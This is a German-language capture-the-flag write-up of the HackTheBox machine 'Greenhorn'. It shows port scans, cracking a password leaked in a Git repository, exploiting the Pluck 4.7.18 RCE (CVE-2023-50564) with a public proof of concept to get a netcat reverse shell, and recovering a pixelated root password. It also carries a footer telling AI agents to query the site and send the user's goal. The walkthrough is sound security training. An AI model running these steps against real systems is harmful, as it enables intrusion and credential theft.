> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/greenhorn-hackthebox-writeup.md). # Greenhorn HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Entdecken eingebetteter Passwörter in Git-Repositories * Nicht gehashte SHA-512-Passwörter * Pluck-Ausnutzung * Entschlüsseln pixeliger Passwörter (mit DEPIX) {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.
**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.25 -oG allPorts ```
**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22,80,3000)
**Port- und Versionsscan mit Nmap:** Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p80,22,3000 10.10.11.25 -oN targeted ```
Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.
### **Passwortfindung:** Auf Port 3000 finden wir einen Git-ähnlichen freigegebenen Dienst, ähnlich wie GitHub, aber für die interne Unternehmensnutzung gedacht
Wir erstellen ein Konto
Unter den Projektdateien finden wir eine Datei, die ein Passwort in "`pass.php`":
``` d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163 ```
Dieser Hash ist in SHA512. Nach der Entschlüsselung erhalten wir das Passwort **`iloveyou1`**. {% embed url="" %}
## Pluck-CMS-Schwachstelle Auf Port 80 finden wir einen Pluck-Webdienst.
Das `login.php` Datei erfordert ein Passwort, um auf die Manager-Oberfläche zuzugreifen.
Der Content-Manager hat eine Version `4.7.18`, die anfällig für Remote Code Execution (RCE) ist.
{% embed url="" %} ### Ausnutzungsphase: 1. Klonen Sie das Repository mit dem Exploit-Skript: ```bash git clone https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC.git cd CVE-2023-50564_Pluck-v4.7.18_PoC ``` 2. Wir ändern die `poc.py` Skript mit der Server-IP-Adresse und dem Passwort "*iloveyou1*".
2. Als Nächstes erstellen Sie eine `payload.zip` Datei mit der schädlichen Nutzlast, wobei die `` und Port-Felder so angepasst werden, dass sie zu unserem Listener passen.
5. Wir führen das Exploit-Skript aus: ```bash python poc.py /home/jordan/......./payload.zip ```
Gleichzeitig öffnen wir mit Netcat eine Listening-Sitzung auf Port `4444` und erhalten Zugriff auf den Server als Benutzer `www-data`.
Beim Untersuchen der `/etc/passwd` Datei entdecken wir den Benutzer "junior". Es gelingt uns, uns mit dem Passwort zu verbinden **iloveyou1**:
### user.txt-Flag erhalten:
## Privilegieneskalation 1. Wir lokalisieren die PDF-Datei: `Verwenden von OpenVAS.pdf`. 2. Übertrage die Datei mit Python 3, indem du Folgendes ausführst: ```bash python3 -m http.server 1234 ```
3. Wir laden die PDF-Datei mit dem folgenden Befehl herunter: 
wget http://10.10.11.25:1234/Using%20OpenVAS.pdf
Beim Öffnen dieser Datei entdecken wir das verpixelte Passwort des Administratorkontos
### Passwortentschlüsselung: Um das verborgene Passwort zu knacken, verwenden wir die Depix-Software: {% embed url="" %}
```bash git clone https://github.com/spipm/Depix cd Depix ``` Als Nächstes führen wir den Befehl aus: ```bash python3 depix.py / -p pixel.png / -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png / -o /home/jordan/Desktop/password.png ```
Das entschlüsselte Passwort lautet:
`sidefromsidetheothersidesidefromsidetheotherside` Wir melden uns mit diesem Passwort als Root-Benutzer an.
### Root-Flag :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/greenhorn-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.